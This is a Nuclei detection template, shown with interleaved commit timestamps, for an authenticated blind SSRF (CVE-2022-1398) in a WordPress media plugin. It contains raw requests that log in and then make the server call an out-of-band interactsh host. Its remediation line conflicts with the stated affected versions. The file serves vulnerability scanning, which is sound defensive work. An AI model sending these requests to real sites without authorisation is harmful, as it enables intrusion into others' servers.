nuclei-templates/http/cves/2022/CVE-2022-1398.yaml

60 lines
2.4 KiB
YAML
Raw Normal View History

2023-03-18 22:07:09 +00:00
id: CVE-2022-1398
info:
name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
2023-03-18 22:07:09 +00:00
author: theamanrawat
severity: medium
description: |
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to External Media without Import plugin version 1.1.2 or later.
2023-03-18 22:07:09 +00:00
reference:
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
- https://wordpress.org/plugins/external-media-without-import/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2022-1398
2023-07-11 19:49:27 +00:00
cwe-id: CWE-918
epss-score: 0.00711
epss-percentile: 0.78239
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: external_media_without_import_project
product: external_media_without_import
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
2023-07-11 19:49:27 +00:00
- http
2023-03-18 22:07:09 +00:00
- type: word
part: body_2
words:
2023-07-11 19:49:27 +00:00
- external-media-without-import
# digest: 4b0a00483046022100da6662c2788e1f466becad36b7ecd79c9d4ea9b79e739de9dc036213fb0727c2022100b2e416bdbd12c7a63cfe945192e15291bc1d59e5b5fae72d956228643e8aad2d:922c64590222798bb761d5b6d8e72950